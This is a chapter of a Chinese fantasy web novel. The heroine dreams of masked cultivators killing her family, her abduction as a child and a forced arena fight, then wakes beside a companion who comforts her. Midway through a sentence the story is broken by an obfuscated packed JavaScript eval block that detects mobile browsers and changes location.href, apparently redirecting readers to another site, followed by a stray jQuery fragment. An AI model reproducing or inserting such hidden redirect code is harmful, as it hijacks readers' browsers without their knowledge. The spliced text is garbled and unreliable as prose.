默认冷灰
24号文字
方正启体

30. 梦前尘

作者:百昏本书字数:K更新时间:
    已是深夜。


    狂风骤雨发了疯般捶打着窗檐,夜风如同鬼啸一般,这注定是个不平静的夜晚。


    重重叠叠的竹林处有着一座不起眼的小茅屋,此时灯火通明,门户大开。


    从屋内直至门口,一摊污血由里往外蔓延开来,融入屋外的泥水之中。


    “我要杀了你们!我一定要杀了你们!”


    一道声嘶力竭的哭喊声撕破雨幕,又被倾盆般的雨声掩埋其下。


    “嘿,白哥,这小丫头喊着要宰了我们呢。”几个蒙面的黑衣男人站在堂中。其中一人发出嗤笑,一脚踢开脚边浑身血污的躯体,沉闷的重物落地声响起,躯体在地上拖出一道触目惊心的血痕。


    少年早已不成人形,鼻青脸肿七窍流血,右腿以违背人体常理的角度扭曲着,进气多出气少。即使这样,他还是拼尽全力爬行到幼妹身前,试图护着她。


    不远处就是已经断气的双亲。满目绝望之下,他只能用力将额头扣在湿硬的地板上,砰砰作响。


    “别……别动她……求求你们,放过她吧……”少年已是力竭,苦涩的喉间勉强挤出几个不成型的音节。


    身后的小女童不过五六岁,双眼满是惊恐,紧紧地靠着兄长血腥的脊背。小小的面颊上满是泪水和不属于她的血迹。


    她身上是娘亲新做的衣裳,用了绵软的碎花布料,上面绣了她最爱的小梨花。可此时这身衣裙却破烂不堪,那枝初绽的梨枝被血污糊满,早已看不清模样。


    “阿兄……”望着身前兄长的模样,小女童伤心欲绝,伸出手想要将他眼角的血块拂去。


    为首的是个姓白的男人。他站在几人后,看着眼前这副兄妹相顾的景象,示意其余几人让开来,随后走上前来,蹲下身,打量起这少年。


    “倒是个称职的兄长。”男人眉眼微弯,发出一阵愉悦的笑声,轻柔地伸出手。


    “咔——”像是竹枝断裂的声音。随后便是一声沉闷的重物倒地声。


    “阿兄!阿兄——”


    男人起身,似是十分爱洁,颇为嫌弃地擦拭掌心的血迹。


    “只可惜,太没用,太没用了……”像是喟叹一般,男人轻声喃喃道。


    他看向那小女童。小小的身躯晃晃荡荡,像是要坠落一般,但很快稳住。双眼充红,其中满是不属于她这个年龄的汹涌恨意。


    她猛地举起脚边散落的柴刀,往他的腿脚砍去。


    可蚍蜉又怎能撼树。其余一人眼疾手快,只是一掌就将这孩童击倒,“哐当”,那柄柴刀又落了地。


    修行之人的一掌,足以击晕一个凡人,更别说这稚嫩孩童。


    霎那间,女童的右脸便因这一击高高肿起,乌黑一片。口鼻中满是鲜血,污了一脸,暂时失了意识。


    “收拾收拾,走吧。”为首的男人发了话,其余几人便开始收拾起残局来。男人将那女童抱起,愉快地哼一首不知名的小曲,进了雨幕之中。


    剩余几人草草处理了地上的血迹和尸体,随即施了个术法,将其丢入这茅草屋之中。


    狂风骤雨中,忽地凭空生出一片滔天火焰。


    漫天火光,使天空暂如白昼。火焰在茅屋间跳动,疯狂地吞噬着这一切。只不过几刻,这座茅屋便烟消云散。


    过往年岁,往日笑语,只需一把大火,从此这片土地只留下了一片灰烬,再也不会有人知道发生了什么。


    “喂!醒醒!”男人不耐地一掌呼来。因为身上日积月累的新伤旧疾,竟是让她一时无法反应。躲避不及,那一掌便结结实实在她的脸侧又添了一道新伤。


    口鼻处的瘀血刺眼,她麻木地擦去鼻间的热流,掀起肿胀的眼皮。


    男人见她睁眼,粗着嗓子吼道:“马上就该你上场了!这次要是捱了过去,你这条命说不定便能留着。”


    男人的声音如同雷鸣,饶是这样,传到她耳中时断断续续,看着他张张合合的嘴唇,只能勉强拼凑出他口中的话语。


    见她神情恍惚,男人沉脸上前解开了她的镣铐,一把推着她往擂台的方向去。


    少女脚步虚浮,茫然地挪动着步子。地下采光堪忧,她只能凭着记忆不断向前走去。


    向前走十步,出牢笼;右转一百步,出长廊;再直走五十步,上擂台。


    越往前,人声便越多。一行队伍浩浩荡荡地走来,这群人有男有女,身着统一的夜行衣,容貌各异的脸上是相同的麻木。


    察觉到她的目光,其中一人蓦然抬起头来与她对视。


    空洞。那人的眼中倒映自己的身影,却毫无情感。与其说是眼瞳,倒不如说是镜子。


    倒映着如同这样行尸走肉的自己的未来。


    她突然觉得惊恐。


    脚步像是忽地有了千斤重,身躯难以再次前进。


    见她抗拒,身后那人猛地将她向前推。踉跄几步后,视野霍然开朗,呼喊声阵阵传来,巨大的擂台充斥着难言的血腥气味。


    迎着四周众人戏谑探究的目光,她一步步上前,站定在擂台之上之时,束缚她的镣铐这时才能短暂解开。


    站在对面的女人身着片褛,露出身体上各式大小不一的伤痕。女人蓄势待发,嘴角带着诡异的笑,眼神凶狠得似是要将她撕碎。


    传闻这人手段残忍,与她交战过的人不是残便是死。


    而今日的战斗,便是在这二人之中选出最后留下的人。


    见二人都已现身,周围呼声愈发大了起来,人们睁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16903090|186344||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    大眼张大嘴,纷纷期待着接下来血与肉的比拼。


    明明是主角之一,她却有种置身于外的感觉。


    是生是死,真的有那么重要吗。


    一声锣响后,场内爆发出激烈的呼声,对面人直直朝她奔来。


    她却闭上了眼。


    -


    额头附近传来柔软的触感。那人动作轻柔,极为细致。见她眼睫微动,将要苏醒,那触感便立刻离开。


    回忆中血腥的擂台,众人的嗤笑声,在视角中慢慢消散。可那些恐惧和痛苦似乎从未离开过她。


    视线慢慢聚焦,白色幔帐在头顶铺开来,室内淡淡暖香氤氲开来。身下是松软干爽的被褥,身上是今日新着的白裙。


    “你……你醒了。”


    纪见凌见她无恙,暗地松了口气,随即正色道:“你晕倒在大殿门口,是刑部弟子发现将你送了回来。”


    说完,看见她瞥见自己手中的软帕,动作僵硬地往身后藏了藏。


    蔺观铃拂上自己的脸颊,发觉眼角处仍有淡淡湿润。


    “若是身体不适,就应早早说出来,不然平添他人麻烦……”他语气僵硬地嘟囔,可瞥见她低垂湿润的眼后又哑然无声。


    纪见凌头次感觉这么束手无措。他慌忙地俯下身攥着软帕擦着她的泪:“你……你别哭呀,是我的错……我不该对你发脾气的。”


    “我……我是太过担忧你才会这样,你若是有气,怎么骂我都依你……”从未安慰过人他只得这么干巴巴的说道。


    少女不语,只是一味地掉眼泪。


    他从没见过她这么伤心脆弱的模样。自她昏迷,她便被梦魇着,时而惊恐时而流泪,眼泪多得像是如何也擦不干一样。


    她到底有何种过往,有过何种经历?可是如今她这种模样,他又怎么问得出口。


    “蔺观铃,”他擦去她眼角的泪,轻轻叹了口气,将肩膀凑近。


    “不管何时,你都可以依靠我。”


    不知为何,因为他这句话,她呼吸一滞。


    她抬起眼,这才看见他担忧真挚的眼。澄澈明亮的眼瞳中,盛着自己的身影。


    她这才发觉,这双眼不知多少次这般注视着她。


    在她无措时,在她开心时,在她难过时。


    他说她可以随时依靠他。


    可他真的会一直留在她的身边吗?


    还是跟那些对她好的人们一样,最后只留下一个尸骨无存的下场。


    不知为何,心中虽是万般复杂,她却轻轻靠在他的肩上。闭上眼的同时,眼中晶莹滴落在二人的中央。


    就这样吧,就算短暂一刻也好。她自暴自弃地想。


    她真的不想再孤身一人了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)